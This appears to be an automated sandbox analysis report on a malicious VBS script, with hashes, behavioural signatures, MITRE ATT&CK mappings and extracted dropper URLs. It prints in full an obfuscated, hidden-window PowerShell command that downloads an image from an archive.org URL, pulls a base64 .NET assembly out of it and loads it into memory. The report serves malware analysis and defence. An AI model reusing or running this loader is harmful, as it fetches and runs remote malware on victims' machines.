30f5eb5dbd68c4f89bec483da5d30044f4366f68df6c26673ebac63df2561bcd

Analysis

max time kernel
149s
max time network
104s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
09/12/2025, 15:00

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General

Target
z1EMATRASONF170150.vbs
Size 1.8MB
Sample251209-sdjbgags6f
SHA256 30f5eb5dbd68c4f89bec483da5d30044f4366f68df6c26673ebac63df2561bcd
MD5 0eedfc0f84826f3fa26d790a3391ae11
SHA1 972218382c191d044c80a562cbaf3367db4a2e5e
SHA512 b73c2c2acca1d915376db967fd5ff9891938261d70fc76cd2116d8a467a21f8aa2e6b2a9f64315f78a620bb91d0f085d3db87df1c0f55561f85b3ba75f00b875
SSDEEP 768:DPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPg:M
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://dn710107.ca.archive.org/0/items/msi-pro-with-b-64_20251208_1511/MSI_PRO_with_b64.png
exe.dropper
http://dn710107.ca.archive.org/0/items/msi-pro-with-b-64_20251208_1511/MSI_PRO_with_b64.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3944	4748	powershell.exe	78

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3944	powershell.exe
3	3944	powershell.exe
5	3944	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3944	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3944	powershell.exe
3944	powershell.exe
3944	powershell.exe
3944	powershell.exe
3944	powershell.exe
3944	powershell.exe
3944	powershell.exe
3944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3944	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\z1EMATRASONF170150.vbs"
1⤵
PID:2760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHNlbnRpbWVudGFsbHkgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRzZW50aW1lbnRhbGx5LkhlYWRlcnMuQWRkKCJVc2VyLUFnZW50IiwgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzYiKTskc2VudGltZW50YWxseS5IZWFkZXJzLkFkZCgiQWNjZXB0IiwgInRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOCIpOyRzZW50aW1lbnRhbGx5LkhlYWRlcnMuQWRkKCJBY2NlcHQtTGFuZ3VhZ2UiLCAiZW4tVVMsZW47cT0wLjkiKTskaGV0ZXJvY29kZWluZSA9ICdodHRwOi8vZG43MTAxMDcuY2EuYXJjaGl2ZS5vcmcvMC9pdGVtcy9tc2ktcHJvLXdpdGgtYi02NF8yMDI1MTIwOF8xNTExL01TSV9QUk9fd2l0aF9iNjQucG5nJzskZGlzY2lwbGluZXJzID0gJHNlbnRpbWVudGFsbHkuRG93bmxvYWREYXRhKCRoZXRlcm9jb2RlaW5lKTskeGVub2dlbmVpYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZygkZGlzY2lwbGluZXJzKTtpZiAoJHhlbm9nZW5laWMgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsgICRpbmRlcHJhdmF0ZSA9ICRtYXRjaGVzWzFdOyAgJGJhbGFuY2luZyA9IFtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGluZGVwcmF2YXRlKSk7ICBbQ2xhc3NMaWJyYXJ5MS5DbGFzczFdOjpWQUkoJzBoSGR1RVROeUFUT3drRE15RVROeUFqTWY5bWRwVlhjeUYyTHQ5Mll1VVdhbkZHYnY1R2FqVkdkdGdYWnk5eUw2TUhjMFJIYScsJzAnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJzAnLCdVUkwnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcwJywnVGFza19OYW1lJywnMCcsJycsJycsJycpO30=')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_cvk3opnl.tof.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cvk3opnl.tof.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3944-0-0x00000183F344A000-0x00000183F344B000-memory.dmp

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memory/3944-2-0x00000183F2C80000-0x00000183F3742000-memory.dmp

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memory/3944-1-0x00000183F2C80000-0x00000183F3742000-memory.dmp

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memory/3944-9-0x00000183F39C0000-0x00000183F39E2000-memory.dmp

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memory/3944-10-0x00000183F2C80000-0x00000183F3742000-memory.dmp

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memory/3944-11-0x00000183F4020000-0x00000183F408C000-memory.dmp

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memory/3944-14-0x00000183F2C80000-0x00000183F3742000-memory.dmp

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